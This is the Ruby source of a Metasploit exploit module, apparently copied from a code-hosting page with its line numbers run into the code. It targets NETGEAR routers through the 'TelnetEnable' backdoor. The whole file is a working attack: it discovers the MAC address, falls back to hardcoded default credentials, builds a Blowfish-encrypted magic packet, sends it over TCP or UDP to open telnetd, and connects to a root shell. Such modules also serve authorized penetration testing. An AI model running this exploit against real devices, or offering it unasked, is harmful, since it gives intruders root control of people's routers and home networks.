Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
31813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::Udp10include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Capture1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'NETGEAR TelnetEnable',18'Description' => %q{19This module sends a magic packet to a NETGEAR device to enable telnetd.20Upon successful connect, a root shell should be presented to the user.21},22'Author' => [23'Paul Gebheim', # Python PoC (TCP)24'insanid', # Python PoC (UDP)25'wvu' # Metasploit module26],27'References' => [28['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],29['URL', 'https://github.com/cyanitol/netgear-telenetenable'],30['URL', 'https://github.com/insanid/netgear-telenetenable'],31['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]32],33'DisclosureDate' => '2009-10-30', # Python PoC (TCP)34'License' => MSF_LICENSE,35'Platform' => 'unix',36'Arch' => ARCH_CMD,37'Privileged' => true,38'Payload' => {39'Compat' => {40'PayloadType' => 'cmd_interact',41'ConnectionType' => 'find'42}43},44'Targets' => [45[46'Automatic (detect TCP or UDP)',47proto: :auto48],49[50'TCP (typically older devices)',51proto: :tcp,52username: 'Gearguy',53password: 'Geardog'54],55[56'UDP (typically newer devices)',57proto: :udp,58username: 'admin',59password: 'password'60]61],62'DefaultTarget' => 0,63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)7071register_options([72Opt::RPORT(23),73OptString.new('MAC', [false, 'MAC address of device']),74OptString.new('USERNAME', [false, 'Username on device']),75OptString.new('PASSWORD', [false, 'Password on device'])76])77end7879def post_auth?80true81end8283def default_credential?84true85end8687def check88# Run through protocol detection89detect_proto9091# This is a gamble, but it's the closest we can get92if @proto == :tcp93CheckCode::Detected94else95CheckCode::Unknown96end97end9899def exploit100# Try to do the exploit unless telnetd is detected101@do_exploit = true102103# Detect TCP or UDP and presence of telnetd104@proto = target[:proto]105detect_proto if @proto == :auto106107if @do_exploit108# Use supplied or ARP-cached MAC address109configure_mac110# Use supplied or default creds111configure_creds112# Shell it113exploit_telnetenabled114end115116# Connect to the shell117connect_telnetd118end119120def detect_proto121begin122connect123124res = begin125sock.get_once || ''126rescue EOFError127''128end129130# telnetenabled returns no data, unlike telnetd131if res.length == 0132print_good('Detected telnetenabled on TCP')133else134print_good('Detected telnetd on TCP')135@do_exploit = false136end137138@proto = :tcp139# It's UDP... and we may not get an ICMP error...140rescue Rex::ConnectionError141print_good('Detected telnetenabled on UDP')142@proto = :udp143ensure144disconnect145end146end147148def configure_mac149@mac = datastore['MAC']150151return if @mac152153print_status('Attempting to discover MAC address via ARP')154155begin156open_pcap157@mac = lookup_eth(rhost).first158rescue RuntimeError => e159fail_with(Failure::BadConfig, "#{e}. Are you root?")160ensure161close_pcap162end163164if @mac165print_good("Found MAC address #{@mac}")166else167fail_with(Failure::Unknown, 'Could not find MAC address')168end169end170171def configure_creds172@username = datastore['USERNAME'] || target[:username]173@password = datastore['PASSWORD'] || target[:password]174175# Try to use default creds if no creds were found176unless @username && @password177tgt = targets.find { |t| t[:proto] == @proto }178@username = tgt[:username]179@password = tgt[:password]180end181182print_good("Using creds #{@username}:#{@password}")183end184185def exploit_telnetenabled186print_status('Generating magic packet')187payload = magic_packet(@mac, @username, @password)188189begin190print_status("Connecting to telnetenabled via #{@proto.upcase}")191@proto == :tcp ? connect : connect_udp192print_status('Sending magic packet')193@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)194rescue Rex::ConnectionError195fail_with(Failure::Disconnected, 'Something happened mid-connection!')196ensure197print_status('Disconnecting from telnetenabled')198@proto == :tcp ? disconnect : disconnect_udp199end200201# Wait a couple seconds for telnetd to come up202print_status('Waiting for telnetd')203sleep(2)204end205206def connect_telnetd207print_status('Connecting to telnetd')208connect209handler(sock)210end211212# NOTE: This is almost a verbatim copy of the Python PoC213def magic_packet(mac, username, password)214mac = mac.gsub(/[:-]/, '').upcase215216if mac.length != 12217fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')218end219just_mac = mac.ljust(0x10, "\x00")220221if username.length > 0x10222fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')223end224just_username = username.ljust(0x10, "\x00")225226if @proto == :tcp227if password.length > 0x10228fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')229end230just_password = password.ljust(0x10, "\x00")231elsif @proto == :udp232# Thanks to Roberto Frenna for the reserved field analysis233if password.length > 0x21234fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')235end236just_password = password.ljust(0x21, "\x00")237end238239cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")240md5_key = Rex::Text.md5_raw(cleartext)241242payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))243244secret_key = 'AMBIT_TELNET_ENABLE+' + password245246byte_swap(blowfish_encrypt(secret_key, payload))247end248249def blowfish_encrypt(secret_key, payload)250cipher = OpenSSL::Cipher.new('bf-ecb').encrypt251252cipher.padding = 0253cipher.key_len = secret_key.length254cipher.key = secret_key255256cipher.update(payload) + cipher.final257end258259def byte_swap(data)260data.unpack('N*').pack('V*')261end262263end264265266